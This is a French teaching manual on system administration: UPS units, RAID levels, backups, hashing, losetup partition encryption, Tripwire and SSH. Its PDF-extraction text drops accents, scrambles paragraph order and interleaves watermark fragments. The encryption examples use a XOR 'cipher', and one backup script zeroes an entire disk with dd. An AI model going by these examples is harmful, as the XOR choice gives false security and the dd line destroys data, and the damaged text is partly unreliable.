Pour expliquer ces diffrentes technologies, il est ncessaire de dcrire les grandes lignes de fonctionnement dun onduleur. Ce type dappareil est compos de trois grandes parties internes : Un transformateur alternatif/continu suivi dun chargeur de batterie qui permet de maintenir la charge dun accumulateur. La batterie (laccumulateur) elle mme. Un onduleur qui permet de transformer la tension continue issue de la batterie en tension alternative compatible avec votre ordinateur. Dans un modle "On-line", la tension fournie votre ordinateur et ventuellement ses priphriques provient uniquement de la transformation de la tension continue (issue de la batterie) en tension alternative. En fonctionnement normal, la batterie est recharge en permanence tout en tant sollicite. En cas de coupure, bien charge, elle rend londuleur capable de fonctionner quelque temps sans autre apport dnergie. Un onduleur "Off-line" a ceci de diffrent quan dconomiser sur les cots de fabrication, il dlivre la tension secteur (ltre tout de mme) directement lordinateur tant que cette tension est correcte en terme de niveau. Ds que la tension passe en dessous dun certain seuil, londuleur va alors commuter sur la batterie interne. Du fait que londuleur "Off-line", au contraire de londuleur "On-line", ne dlivre pas une tension continuellement en provenance des batteries il peut se produire un problme au moment de la commutation dune source dnergie une autre (passage du secteur la batterie donc). Cependant, les alimentations des ordinateurs actuels sont de type dcoupage et intgrent de gros condensateurs capables de faire face de trs brves coupures (aussi appeles micro-coupures) du secteur et ces systmes peuvent donc dpendre donduleurs de type "Off-line" car ils sont capables de compenser le bref temps de commutation (quelques millisecondes) entre la coupure secteur et le transfert la batterie de londuleur. Enn, les modles "Line-interactive" (encore appels "in-line") ont un fonctionnement similaire celui dun onduleur off-line ceci prs quen cas de variation de tension (gnralement dans la limite de +/- 25%), au lieu de basculer sur la batterie il sont capable de compenser la baisse de tension. Ce type donduleur peut tre trs intressant dans bien des pays en voie de dveloppement, pays o la qualit du secteur laisse trs souvent dsirer !

9.4 Dtermination de la puissance de londuleur


Pour protger et alimenter un ordinateur raisonnable avec son cran LCD mais *sans* ses autres priphriques, mme un petit onduleur (350VA) pourra sufre : cependant lautonomie sans le secteur sera alors rduite et denviron 5 10 minutes. Mme si ceci se rvlera gnralement tout fait sufsant pour sauvegarder vos travaux et teindre votre ordinateur, vu la faible diffrence de prix, il me semble plus sage dopter directement pour un modle 500VA qui vous donnera plus dautonomie pour un poste informatique et vous permettra de brancher un cran plus grand. Voici quelques ordres de grandeur de puissances prvoir pour un onduleur (en VA) an de brancher diffrents priphriques :

oc um en ts

ou sl

ic

en ce

FD

CHAPITRE 9. ONDULEUR[?]
Elment PC classique sans cran (UC) Ecran LCD 17 " Ecran LCD 19 " Ecran 17 " Ecran 19 " Ecran 21 " Imprimante jet dencre classique Imprimante laser Puissances approximatives prvoir (pour un fonctionnement en autonomie) 150-300 VA 40 VA 60 VA 180 VA 250 VA 300 VA 80 VA 1000 VA

35

Cette FAQ est constitue partir de vos questions les plus frquentes, telles que releves sur le forum. Avant de poser votre question sur le forum, merci de vrier quelle ne gure pas dans cette FAQ.

9.5.1 A quoi correspondent et servent les para-surtenseurs ?

9.5.2 Un onduleur est-il utile pour un portable ?

Vu le fonctionnement dun portable, un onduleur nest pas ncessaire pour se protger des coupures de courant. Il reste utile pour protger le transformateur externe du portable des surtensions mais un parasurtenseur pourra assurer cette fonction moindre cot.

9.5.3 VA et Watts ?

Pourquoi les constructeurs donnent la puissance maximale de leurs produits en KVA (Kilo Volt Ampre) et pas en KWatts ? Quelle diffrence entre VA et Watts ? La puissance en watts (P) est donne par la formule P = VI cos(j) dans laquelle j reprsente langle de dphasage entre la tension et lintensit. Ce cosinus(j) (encore appel facteur de puissance) tant toujours infrieur 1, la puissance relle dlivre sera donc toujours infrieure la valeur calcule en multipliant simplement la tension par lintensit. Cet angle de dphasage est difcile mesurer et varie mme en fonction des quipements connects do le fait que les constructeurs utilisent plutt les VA. En pratique ceci explique pourquoi il est gnralement ncessaire de diviser par 1,4 1,5 la valeur en KVA pour obtenir la valeur en KWatts utilisables.

oc um en ts

ou sl

Parfois aussi appels couramment "parafoudres", ces derniers sont moins chers que les onduleurs et protgeront votre matriel des surtensions comme lindique leur nom sans pour autant assurer le relais en cas de coupure dalimentation secteur (votre ordinateur steindra ou redmarrera alors et les donnes en cours non sauvegardes seront perdues). Nanmoins, ils prsentent lavantage de permettre de protger tout votre quipement (priphriques compris) du phnomne le plus dangereux pour leur dure de vie : les surtensions.

ic

en ce

FD

9.5 FAQ

Chapitre 10

Niveau 0 : appel stripping

Niveau 1 : appel mirroring,shadowing ou duplexing Niveau 2 : appel striping with parity (obsolte) Niveau 3 : appel disk array with bit-interleaved data Niveau 4 : appel disk array with block-interleaved data Niveau 5 : appel disk array with block-interleaved distributed parity Chacun de ces niveaux constitue un mode dutilisation de la grappe, en fonction : des performances du cot des accs disques Niveau 6 : appel disk array with block-interleaved distributed parity

10.1 Niveau 0
Le niveau RAID-0, appel striping (traduisez entrelacement ou aggrgat par bande, parfois injustement appel stripping) consiste stocker les donnes en les rpartissant sur lensemble des disques de la grappe. De cette faon, il ny a pas de redondance, on ne peut donc pas parler de tolrance aux pannes. En effet en cas de dfaillance de lun des disques, lintgralit des donnes rparties sur les disques sera perdue. Toutefois, tant donn que chaque disque de la grappe a son propre contrleur, cela constitue une solution offrant une vitesse de transfert leve. 36

oc um en ts

La technologie RAID (acronyme de Redundant Array of Inexpensive Disks, parfois Redundant Array of Independent Disks, traduisez Ensemble redondant de disques indpendants) permet de constituer une unit de stockage partir de plusieurs disques durs. Lunit ainsi cre (appele grappe) a donc une grande tolrance aux pannes (haute disponibilit), ou bien une plus grande capacit/vitesse dcriture. La rpartition des donnes sur plusieurs disques durs permet donc den augmenter la scurit et de abiliser les services associs. Cette technologie a t mise au point en 1987 par trois chercheurs (Patterson, Gibson et Katz) lUniversit de Californie (Berkeley). Depuis 1992 cest le RAID Advisory Board qui gre ces spcications. Elle consiste constituer un disque de grosse capacit (donc coteux) laide de plus petits disques peu onreux (cest--dire dont le MTBF, Mean Time Between Failure, soit le temps moyen entre deux pannes, est faible). Les disques assembls selon la technologie RAID peuvent tre utiliss de diffrentes faons, appeles Niveaux RAID. LUniversit de Californie en a dni 5, auxquels ont t ajouts les niveaux 0 et 6. Chacun dentre-eux dcrit la manire de laquelle les donnes sont rparties sur les disques :

ou sl

ic

en ce

FD

Prsentation de la technologie RAID[17]

CHAPITRE 10. PRSENTATION DE LA TECHNOLOGIE RAID[?]

37

Le RAID 0 consiste ainsi en la juxtaposition logique (agrgation) de plusieurs disques durs physiques. En mode RAID-0 les donnes sont crites par "bandes" (en anglais stripes) : Disque 1 Bande 1 Bande 4 Bande 7 Disque 2 Bande 2 Bande 5 Bande 8 Disque 3 Bande 3 Bande 6 Bande 9

TAB . 10.1 RAID 0 On parle de facteur dentrelacement pour caractriser la taille relative des fragments (bandes) stocks sur chaque unit physique. Le dbit de transfert moyen dpend de ce facteur (plus petite est chaque bande, meilleur est le dbit). Si un des lements de la grappe est plus grand que les autres, le systme de remplissage par bande se trouvera bloqu lorsque le plus petit des disques sera rempli. La taille nale est ainsi gale au double de la capacit du plus petit des deux disques : deux disques de 20 Go donneront un disque logique de 40 Go. un disque de 10 Go utilis conjointement avec un disque de 27 Go permettra dobtenir un disque logique de 20 Go (17 Go du second disque seront alors inutiliss). Il est recommand dutiliser des disques de mme taille pour faire du RAID-0 car dans le cas contraire le disque de plus grande capacit ne sera pas pleinement exploit.

10.2 Niveau 1

Le niveau 1 a pour but de dupliquer linformation stocker sur plusieurs disques, on parle donc de mirroring, ou shadowing pour dsigner ce procd. Disque 1 Bande 1 Bande 2 Bande 3 Disque 2 Bande 1 Bande 2 Bande 3

On obtient ainsi une plus grande scurit des donnes, car si lun des disques tombe en panne, les donnes sont sauvegardes sur lautre. Dautre part, la lecture peut tre beaucoup plus rapide lorsque les deux disques sont en fonctionnement. Enn, tant donn que chaque disque possde son propre contrleur, le serveur peut continuer fonctionner mme lorsque lun des disques tombe en panne, au mme titre quun camion pourra continuer rouler si un de ses pneus crve, car il en a plusieurs sur chaque essieu... En contrepartie la technologie RAID1 est trs onreuse tant donn que seule la moiti de la capacit de stockage nest effectivement utilise.

10.3 Niveau 2
Le niveau RAID-2 est dsormais obsolte, car il propose un contrle derreur par code de Hamming (codes ECC - Error Correction Code), or ce dernier est dsormais directement intgr dans les contrleurs de disques durs.

oc um en ts

ou sl

TAB . 10.2 RAID 1

ic

en ce

FD

CHAPITRE 10. PRSENTATION DE LA TECHNOLOGIE RAID[?]

38

Cette technologie consiste stocker les donnes selon le mme principe quavec le RAID-0 mais en crivant sur une unit distincte les bits de contrle ECC (gnralement 3 disques ECC sont utiliss pour 4 disques de donnes) . La technologie RAID 2 offre de pitres performances mais un niveau de scurit lev.

10.4 Niveau 3
Le niveau 3 propose de stocker les donnes sous forme doctets sur chaque disque et de ddier un des disques au stockage dun bit de parit. Disque 1 Octet 1 Octet 4 Octet 7 Disque 2 Octet 2 Octet 5 Octet 8 Disque 3 Octet 3 Octet 6 Octet 9 Disque4 Parit 1+2+3 Parit 4+5+6 Parit 7+8+9

TAB . 10.3 RAID 3

10.5 Niveau 4

oc um en ts

Le niveau 4 est trs proche du niveau 3. La diffrence se trouve au niveau de la parit, qui est faite sur un secteur (appel bloc) et non au niveau du bit, et qui est stocke sur un disque ddi. Cest--dire plus prcisment que la valeur du facteur dentrelacement est diffrente par rapport au RAID 3. Disque 1 Bloc 1 Bloc 4 Bloc 7 Disque 2 Bloc 2 Bloc 5 Bloc 8 Disque 3 Bloc 3 Bloc 6 Bloc 9 Disque4 Parit 1+2+3 Parit 4+5+6 Parit 7+8+9

Ainsi, pour lire un nombre de blocs rduits, le systme na pas accder de multiples lecteurs physiques, mais uniquement ceux sur lesquels les donnes sont effectivement stockes. En contrepartie le disque hbergeant les donnes de contrle doit avoir un temps daccs gal la somme des temps daccs des autres disques pour ne pas limiter les performances de lensemble.

10.6 Niveau 5
Le niveau 5 est similaire au niveau 4, cest--dire que la parit est calcule au niveau dun secteur, mais rpartie sur lensemble des disques de la grappe. De cette faon, RAID 5 amliore grandement laccs aux donnes (aussi bien en lecture quen criture) car laccs aux bits de parits est rparti sur les diffrents disques de la grappe.

ou sl

De cette manire, si lun des disques venait dfaillir, il serait possible de reconstituer linformation partir des autres disques. Aprs "reconstitution" le contenu du disque dfaillant est de nouveau intgre. Par contre, si deux disques venaient tomber en panne simultanment, il serait alors impossible de remdier la perte de donnes.

TAB . 10.4 RAID 4

ic

en ce

FD

CHAPITRE 10. PRSENTATION DE LA TECHNOLOGIE RAID[?]


Disque 1 Bloc 1 Bloc 4 Parit 7+8+9 Disque 2 Bloc 2 Parit 4+5+6 Bloc 7 Disque 3 Bloc 3 Bloc 5 Bloc 8 Disque4 Parit 1+2+3 Bloc 6 Bloc 9

39

TAB . 10.5 RAID 5 Le mode RAID-5 permet dobtenir des performances trs proches de celles obtenues en RAID-0, tout en assurant une tolrance aux pannes leves, cest la raison pour laquelle cest un des modes RAID les plus intressant en terme de performance et de abilit. Lespace disque utile sur une grappe de n disques tant gal n-1 disques, il est intressant davoir un grand nombre de disques pour "rentabiliser" le RAID-5.

10.7 Niveau 6

Le niveau 6 a t ajout aux niveaux dnis par Berkeley. Il dnit lutilisation de 2 fonctions de parit, et donc leur stockage sur deux disques ddis. Ce niveau permet ainsi dassurer la redondance en cas davarie simultane de deux disques. Cela signie quil faut au moins 4 disques pour mettre en oeuvre un systme RAID-6.

10.9 Mise en place dune solution RAID


Il existe plusieurs faons diffrentes de mettre en place une solution RAID sur un serveur : de faon logicielle : il sagit gnralement dun driver au niveau du systme dexploitation capable de crer un seul volume logique avec plusieurs disques (SCSI ou IDE). de faon matrielle avec des matriels DASD (Direct Access Stockage Device) : il sagit dunits de stockage externes pourvues dune alimentation propre. De plus ces matriels sont dots de connecteurs permettant lchange de disques chaud (on dit gnralement que ce type de disque est hot swappable). Ce matriel gre lui-mme ses disques, si bien quil est reconnu comme un disque SCSI standard avec des contrleurs de disques RAID : il sagit de cartes senchant dans des slots PCI ou ISA et permettant de contrler plusieurs disques durs.

Les solutions RAID gnralement retenues sont le RAID de niveau 1 et le RAID de niveau 5. Le choix dune solution RAID est li trois critres : la scurit : RAID 1 et 5 offrent tous les deux un niveau de scurit lev, toutefois la mthode de reconstruction des disques varie entre les deux solutions. En cas de panne du systme, RAID 5 reconstruit le disque manquant partir des informations stockes sur les autres disques, tandis que RAID 1 opre une copie disque disque. Les performances : RAID 1 offre de meilleures performances que RAID 5 en lecture, mais souffre lors dimportantes oprations dcriture Le cot : le cot est directement li la capacit de stockage devant tre mise en oeuvre pour avoir une certaine capacit effective. La solution RAID 5 offre un volume utile reprsentant 80 90% du volume allou (le reste servant videmment au contrle derreur). La solution RAID 1 noffre par contre quun volume disponible reprsentant 50 % du volume total (tant donn que les informations sont dupliques).

oc um en ts

ou sl

10.8 Comparaison

ic

en ce

FD

Chapitre 11

11.1 A quoi servent les sauvegardes ?

11.2 Choix du matriel

La sauvegarde consiste enregistrer les donnes vitales sur un support gnralement autre que le(s) disque(s) se trouvant lintrieur de lordinateur. Elle se fait principalement sur des units amovibles telles que disquette ZIP, support CDROM, bande DAT ou cassette DLT. la disquette ZIP dont la capacit est de 100 250Mo, convient pour les petites sauvegardes de petits chiers et surtout pour le transfert de chiers, le CDROM une capacit de 650 800Mo. Son usage est le mme que celui du ZIP. La qualit de la sauvegarde est suprieure et le risque de dmagntisation nexiste pas, la bande DAT une capacit de stockage plus grande et permet la sauvegarde complte dun systme informatique. Elle est destine un usage professionnel. Le dbit moyen dun systme DAT est relativement faible, et se traduit par des sauvegardes qui peuvent durer plusieurs heures. La sauvegarde se fait gnralement la nuit, le systme DLT est la technologie de sauvegarde la plus rapide. En plus les cassettes sont plus rsistantes que les bandes DAT. Ce systme est plus cher, mais ces performances sont meilleures.

11.3 Choix du logiciel


Pour raliser les sauvegardes il est conseill dutiliser des programmes conus pour faciliter cette opration. Ces programmes permettent de grer : la frquence de sauvegarde, lheure dexcution, les donnes 40

oc um en ts

Un systme dinformation mme able et rcent nest jamais labri dune dfaillance matrielle ou logicielle, dune erreur humaine, dun acte de malveillance, dune infection virale, dune panne de courant, dun vol, dun sinistre (incendie, dgt des eaux, foudre, . . .), etc. Le destin du systme est de tomber en panne. Ce nest quune question de temps. Le problme de la restauration des donnes se pose toujours aprs rparation du systme. Ceci montre limportance qui doit tre accorde la sauvegarde des donnes. An de limiter les risques, tout doit tre mis en uvre pour viter la perte des donnes et garantir leur disponibilit et leur intgrit, en tablissant une procdure systmatique de sauvegarde. Il est primordial de ne pas sous-estimer limportance des donnes des utilisateurs et de garder lesprit les consquences lies leur disparition. Les rgles lmentaires de scurit informatique imposent llaboration dune stratgie de sauvegarde. Celle-ci ncessite une planication allant de la slection du matriel de sauvegarde la dtermination du schma de sauvegarde.

ou sl

ic

en ce

FD

Sauvegarde des donnes[3]

CHAPITRE 11. SAUVEGARDE DES DONNES[?]


sauvegarder, etc. On trouve de nombreux logiciels plus ou moins conus pour raliser ces tches. Les plus connus sont : Backup Exec de Veritas (http://www.veritas.com), ARC ServeIT de Computer Associates (http://www3.ca.com).

41

11.4 Stratgie de sauvegarde


Lintervalle maximal qui scoule entre deux sauvegardes successives dpend de plusieurs facteurs : la vitesse dvolution du travail, la quantit dinformation que lon accepte de perdre entre deux copies Selon le service, a peut tre le mois, la semaine ou la journe.

11.4.1 Exemple de stratgie

11.5 Recommandations gnrales

Les sauvegardes doivent tre ralises rgulirement en fonction de rgles pr-tablies : sassurer de la validit des procdures de sauvegarde, vrier que les procdures de restauration ont t testes, contrler priodiquement la validit des oprations par des restitutions de chiers en " vraie grandeur ", ne jamais stocker dans la mme pice les serveurs et les copies de sauvegardes, les copies de sauvegarde doivent tre ranges dans un coffre, sinon loin de tout objet de convoitise et ncessairement dans un lieu loin de la pice o se trouvent les serveurs, disposer au moins des deux dernires sauvegardes, tiqueter soigneusement les mdias avant de les introduire dans le lecteur enregistreur, puis glisser la languette de protection contre lcriture immdiatement la sortie du mdia, prfrer les sauvegardes automatiques date xe aux oprations manuelles.

oc um en ts

ou sl

Dans le cas de donnes sensibles, les sauvegardes seront gnralement planies de la manire suivante : une sauvegarde totale par jour (du lundi au jeudi), conserve 1 semaine, une sauvegarde totale le vendredi, conserve 2 semaines, une sauvegarde totale la n du mois, conserve 1 an, une sauvegarde totale annuelle mettre labri pour archivage. Les bandes journalires sont rutilises la semaine suivante et celle du vendredi est rutilise deux semaines aprs. Les bandes mensuelles sont rutilises danne en anne.

ic

en ce

FD

oc um en ts

ou sl
42

ic

Cryptage et application

en ce

Quatrime partie

FD

Chapitre 12

oc um en ts

ou sl
43

ic

Les trames circulant sur un rseau public ou priv sont autant de lignes de lectures disponibles un utilisateur de passage ayant quelques connaissances en informatique. En restant sur ce principe, il serait impossible de faire des transactions bancaires, il nous faut donc crypter les donnes. Ce cryptage peut tre ffectu notamment grce au protocole SSH dans le cas dune maintenance distance. Par extension de ce protocole, IPSec (entre autre) a permis une entreprise de voir le rseau de ses agences grce la mise en place de rseau priv virtuel qui traverse lInternet de faon crypt.

en ce

FD

Introduction

Chapitre 13

13.1 A FAIRE : Description dun algorithme de compression 13.2 Vrication dintgrit (Fonction de hachage)

Utilisation : Recalculer le rsum an de le comparer avec loriginal (en gnral donn sur le site Web).

13.2.1 Travaux Pratiques : Contrle dintgrit


Utilisez les logiciels md5sum et sha1sum avec divers chiers que vous allez crer de manire valider le fait que cette fonction est bien injective i.e. quelle retourne chaque fois le mme rsultat avec la mme source ET que sil y a modication de la source, le rsultat en est chang.

13.3 Chiffrement de systme de chiers (sous Linux)


13.3.1 Fonctionement
La commande losetup associe un loopback (priphrique virtuel) une partition. Si un algorithme de chiffrement est slectionn alors un mot de passe est demand. Lopration de montage de la partition se fait en indiquant le loopback associ la partition dsire.

oc um en ts

A laide dune fonction mathmatique dite de hachage (non bijective), le texte va tre lu dans son intgralit an den sortir un rsum. Les proprits de cette fonction de hachage sont : impossibilit de retrouver le texte partir du rsum (fonction sens unique) impossibilit de trouver deux textes ayant le mme rsum Les algorithmes standards utiliss pour raliser ce rsum sont : MD5 (Rivest) : rsum de 128 bits sur un texte de longueur quelconque. SHA (Secure Hash Algorithm) : rsum de 160 bits sur un texte de longueur quelconque.

ou sl
44

ic

en ce

Le but de la cryptographie est de garantir la condentialit, lintgrit des donnes et lauthentication de lmetteur des messages. Pour cel, nous disposons de : fonctions de vrication dintgrit an de garantir la non modication des donnes. signatures digitales an de garantir lidentit du signataire. chiffrement pour transformer un texte intelligible (aussi appel texte clair) en texte chiffr incomprhensible.

FD

Bases de cryptographie

CHAPITRE 13. BASES DE CRYPTOGRAPHIE

45

Toutes les donnes envoyes au loopback sont crites chiffres dans la partition. Lors dune lecture dans le loopback, les donnes correspondantes sont lues dans la partition et dchiffres en mmoire. Notes : Les fonctionnalits de chiffrement de Linux ne sont pas incluses dans les distributions standard. Des patchs ofciels sont disponibles pour ajouter ces fonctions aux sources du noyau. Ces patchs sont hbergs sur le site http ://www.kerneli.org/ Les commandes losetup, mount et umount doivent tre patches pour supporter ces fonctionnalits. Les patchs ncessaires sont fournis avec les patchs des sources du noyau. Un chier peut tre associ un loopback. Cela permet : De crer de petites partitions chiffres qui peuvent tre montes seulement lorsquelles sont ncessaires. De sauvegarder de faon scurise une partition vers un chier chiffr.

13.3.3 Exemples

Sauvegarde de chiers dans un chier chiffr

oc um en ts

ALGO=XOR dd if=/dev/urandom of=/var/fic bs=1k count=100 losetup -e $ALGO /dev/loop0 /var/fic Password: mkfs -t ext2 /dev/loop0 mkdir /mnt/crypt mount -t ext2 /dev/loop0 /mnt/crypt .. .. umount /dev/loop0 losetup -d /dev/loop0

ou sl

Deux algorithmes ont t implments pour chiffrer des partitions : CAST-128, utilis en mode ECB CAST 128 est dni dans le RFC 2144 http://www.ietf.org/rfc/rfc2144.txt Une variante : CAST 256, voir http ://www.entrust.com Twosh est un "Cipher 128 bits utilis en mode CBC". http://www.counterpane.com/twofish.html Une option permet dutiliser en mode CBC nimporte lequel des sept algorithmes prsents dans la bibliothque pour chiffrer une partition. Blowsh, DES, DFC, IDEA, MARS, RC6 et Serpent.

ic

en ce

13.3.2 Algorithmes

FD

CHAPITRE 13. BASES DE CRYPTOGRAPHIE


Sauvegarde dune partition dans un chier chiffr sur disque secondaire PART=/home ALGO=XOR DEV=df -k $PART| tail -1 | awk { printf $1"\n"} SIZE=df -k $PART| tail -1 | awk { printf $2"\n"} dd if=/dev/zero of=/dev/hdb bs=1k count=$SIZE losetup -e $ALGO /dev/loop0 /dev/hdb Password: umount $PART dd if=$DEV of=/dev/hdb losetup -d /dev/loop0

46

oc um en ts

ou sl

ic

en ce

FD

Chapitre 14

14.1 A propos
14.1.1 Mots cls
tripwire vrication dintgrit

Tripwire permet de vrier lintgrit des chiers sur un systme donn. Tripwire utilise un chier de rgles pour dterminer quels sont les chiers dont lintgrit est vri.

14.3 Mise en fonction de Tripwire


Installer Tripwire

Se rendre dans le rpertoire /etc/tripwire Rponse : cd /etc/tripwire

Excuter le chier twinstall.sh : ./twinstall.sh On vous demande alors une passphrase (saisie conrmer) pour le : site key : elle permettra dencrypter le chier de police de tripwire. local key : elle permettra dencrypter le chier de conguration de tripwire. Les cls ainsi cres sont stockes dans le rpertoire /etc/tripwire/. Le message suivant apparat :

oc um en ts

Rponse : rpm -ivh tripwire....rpm

ou sl
47

14.2 Introduction

ic

en ce

FD

Tripwire

CHAPITRE 14. TRIPWIRE


A clear-text version of the Tripwire configuration file /etc/tripwire/twcfg.txt has been preserved for your inspection. It is recommended that you delete this file manually after you have examined it. .../... Wrote policy file: /etc/tripwire/tw.pol A clear-text version of the Tripwire policy file /etc/tripwire/twpol.txt has been preserved for your inspection.

48

Dnomination Fichier de police Fichier de conguration

En clair twpol.txt twcfg.txt

Encrypt tw.pol tw.cfg

An quun hacker ne puisse pas voir les chiers de conguration et de police, supprimer les : Rponse : .

rm twpol.txt twcfg.txt

14.4 Restauration de la conguration

Vous avez supprimer vos chiers de conguration. Il vous est possible de les restaurer grce aux commandes suivantes :

14.4.1 Rgnation du chier de conguration


twadmin --print-cfgfile > twcfg.txt

14.4.2 Rgnation du chier de polices

14.5 Cration de la base de donnes lies au systme


La commande tripwire $--$init va vous permettre de gnrer la base de donnes relatives lintgrit de votre systme. Cette commande demandera la passphrase de manire pouvoir lire le chier de police. Le chier doit se gnrer sans erreurs sinon il vous faudra modier twpol.txt et relancer linitialisation de la base.

twadmin --print-polfile > twpol.txt Il vous est possible maintenant de modier les polices ou la conguration de Tripwire

oc um en ts

ou sl

ic

en ce

FD

Les chiers de police et les chiers de conguration ont t encrypts de manire ce quil ne soient plus lisibles par un hacker. Cependant, pour linstant ceux-ci sont lisibles de manire pouvoir les analyser.

CHAPITRE 14. TRIPWIRE

49

14.6 Test de la base de donnes


Il est possible de rajouter une tche cron de manire excuter le programme tripwire $--$check de manire constater les diffrences apportes sur votre systme. Un rapport est alors gnr vous permettant de constater les faits. De manire viter tous les warning il est possible de rediriger les messages derreurs vers la poubelle : tripwire --check > rapport 2> /dev/null Pour valider ces changements sans reprendre les rgles, il est possible dutiliser la commande : tripwire --update -r /var/lib/tripwire/report/rapport.twr o rapport.twr reprsente le chier rapport que vous dsirez insrer la base de donnes (exemple : /var/lib/tripwire/report/rh3-20040928-164338.twr.

Initialiser votre base de donne Tripwire Rponse : tripwire - - init

Ajouter un utilisateur votre systme

Rinitialiser la base avec le rapport ainsi gnr Rponse : tripwire --update -r /var/lib/tripwire/report/rapport.twr

Lancer le test dintgrit Rponse : tripwire - - check

Ajouter une rgle sur le chier /etc/shadow Rponse : Insrer /etc/shadow dans les r`gles (mme niveau que /etc/passwd) e e e

oc um en ts

Lancer le test dintgrit

ou sl

Rponse : adduser toto

Rponse : tripwire - - check

ic

en ce

FD

14.7 Travaux Pratiques

Chapitre 15

SSH (ou Secure SHell) est un protocole servant crer une connexion scurise entre deux systmes. Grce SSH, un ordinateur client peut initier une connexion avec un ordinateur serveur et proter des mesures de scurit suivantes : Aprs avoir effectu une connexion initiale, le client peut sassurer de se connecter au mme serveur lors des sessions suivantes. Le client peut transmettre ses donnes dauthentication au serveur, telles que son nom dutilisateur et son mot de passe, en format crypt. Toutes les donnes envoyes et reues pendant la connexion sont transfres de faon chiffre, ce qui les rend extrmement difciles dchiffrer et lire. Un serveur peut aussi tirer parti du protocole SSH, particulirement sil excute de nombreux services. Si vous utilisez la retransmission de port (port forwarding), des protocoles normalement non scuriss (comme POP par exemple) peuvent tre chiffrs et envoys en toute scurit des ordinateurs distants. Il est relativement facile avec SSH de crypter diffrents types dinformations changes lors des communications qui sont habituellement envoyes de manire non scurise sur les rseaux publics. OpenSSH ncessite OpenSSL (openssl) qui installe de nombreuses bibliothques cryptographiques importantes qui aident OpenSSH chiffrer les communications. Un grand nombre de programmes client et serveur peuvent utiliser le protocole SSH, dont de nombreuses applications sources ouvertes et disponibles gratuitement. Il existe plusieurs versions de clients SSH pour les principaux systmes dexploitation utiliss aujourdhui.

oc um en ts

15.1 Introduction

ou sl
50

Les mthodes communment utilises pour se connecter distance un autre systme au moyen dun shell (telnet, rlogin ou rsh) ou pour copier des chiers entre ordinateurs htes (ftp ou rcp) ne sont pas scurises et devraient donc tre vites. Vous devriez plutt vous connecter un ordinateur hte distant au moyen dun shell scuris ou dun rseau priv virtuel chiffr. En utilisant des mthodes scurises pour vous connecter distance dautres systmes, vous rduisez les risques en matire de scurit, pour votre systme et pour le systme distant.

ic

en ce

Ce chapitre parle des avantages du protocole SSH, de la squence dvnements se produisant lors dune connexion scurise un systme distant, des diffrentes couches de SSH et des mthodes pour assurer que les utilisateurs qui se connectent votre systme utilisent le protocole SSH.

FD

SSH[14]

CHAPITRE 15. SSH[?]

51

15.2 Pourquoi utiliser SSH ?


Linterception de paquets, la mystication 1 DNS et IP (IP Spoong), ainsi que la diffusion de fausses informations de routage ne sont que quelques exemples des menaces qui planent lors des communications en rseau. En dautres termes, nous pourrions catgoriser ces menaces de la faon suivante : Interception dune communication entre deux systmes : ce scnario implique la prsence dun troisime lment quelque part sur le rseau entre les deux systmes connects qui copie linformation change entre eux. Celui-ci peut copier et garder linformation ou alors la modier avant de lenvoyer au destinataire prvu. Usurpation de lidentit dun hte : grce cette technique, un systme intercepteur prtend tre le destinataire dsir dun message. Si cela fonctionne, le client ne sen rend pas compte et continue de lui envoyer toute linformation, comme sil tait connect au bon destinataire. Dans les deux cas, linformation est intercepte (probablement pour des raisons hostiles). Le rsultat peut tre catastrophique, peu importe quil soit obtenu par linterception de tous les paquets sur un rseau local dentreprise ou au moyen dun serveur DNS pirat qui pointe vers un hte mal intentionn. Lutilisation du protocole SSH pour effectuer une connexion shell distance ou copier des chiers permet de faire diminuer sensiblement ces menaces la scurit. La signature numrique dun serveur fournit la vrication de son identit. En outre, la communication complte entre un systme client et un systme serveur ne peut tre utilise si elle est intercepte car tous les paquets sont chiffrs. De plus, il nest pas possible dusurper lidentit dun des deux systmes, parce que les paquets sont chiffrs et leurs cls ne sont connues que par les systmes local et distant.

15.3 Squence des vnements dune connexion SSH

Dabord, une couche transport scurise doit tre cre pour que le client sache quil communique bien avec le bon serveur. Ensuite, la communication est chiffre entre le client et le serveur au moyen dun chiffrage symtrique. Puis, une fois la connexion scurise tablie avec le serveur, le client peut sauthentier auprs de celui-ci sans craindre que ses informations ne puissent tre compromises. OpenSSH utilise par dfaut des cls DSA ou RSA et la version 2.0 du protocole SSH pour lauthentication. Enn, aprs lauthentication du client auprs du serveur, de nombreux services diffrents peuvent tre utiliss de faon scurise au cours de la connexion, tels quune session shell interactive, des applications X11 et des ports TCP/IP tunnelliss. Lensemble du processus de connexion se fait sans que le systme local nait faire de nombreuses oprations supplmentaires. En effet, SSH semblera familier, bien des gards, aux utilisateurs habitus aux mthodes de connexion moins scurises. Dans lexemple qui suit, lutilisateur 1 (user1) sur le systme client veut initier une connexion SSH un systme serveur. Ladresse IP de ce serveur est 10.0.0.2, mais on pourrait galement utiliser son nom de domaine. Le nom de connexion de lutilisateur 1 sur le serveur est user2. La commande ssh est crite de la faon suivante :
1 La

mystication est lacte de laisser croire aux autres que lon est un systme prcis sans ltre vritablement.

oc um en ts

Pour aider protger lintgrit dune communication SSH entre deux ordinateurs htes, une certaine srie dvnements doit tre utilise.

ou sl

ic

en ce

FD

CHAPITRE 15. SSH[?]

52

[user1@machine1 user1]> ssh user2@10.0.0.2 Une possibilit2 est que le client OpenSSH demande la phrase daccs de la cl prive de lutilisateur pour dchiffrer la cl prive utilise pour procder lauthentication. Cette mthode permet en cas de vol de la cl prive de la personne de ne pas pouvoir tre utilise par la suite sans la phrase daccs associe. Cependant, la phrase daccs de la cl prive nest pas envoye au moyen de la connexion scurise en cours. Elle est utilise pour ouvrir le chier id_dsa et gnrer une signature qui est ensuite envoye au serveur. Si le serveur a une copie de la cl publique de lutilisateur pouvant tre utilise pour vrier la signature, lutilisateur est alors authenti. Dans cet exemple, lutilisateur utilise une cl DSA (des cls RSA, notamment, peuvent aussi tre utilises) et reoit linvite suivante : Enter passphrase for DSA key /home/user1/.ssh/id_dsa : Si lauthentication par cl publique choue, pour une raison ou une autre (il se pourrait que la phrase daccs ait t mal tape ou que les renseignements dauthentication nexistent pas encore sur le serveur), un autre type dauthentication est gnralement lanc. Dans notre exemple, le serveur OpenSSH permet lutilisateur 1 de sauthentier au moyen du mot de passe de lutilisateur 2 (user2) car la signature envoye ne correspond pas la cl publique stocke par lutilisateur 2 : user2@machine2s password : En introduisant le bon mot de passe, lutilisateur reoit une invite shell. Bien entendu, lutilisateur 2 doit dj avoir un compte sur lordinateur 10.0.0.2 pour que lauthentication par mot de passe russisse. Last login : Mon Apr 15 13 :27 :43 2001 from machine1 [user2@machine2 user2]> A ce stade, lutilisateur peut interagir avec le shell de la mme faon quavec telnet ou 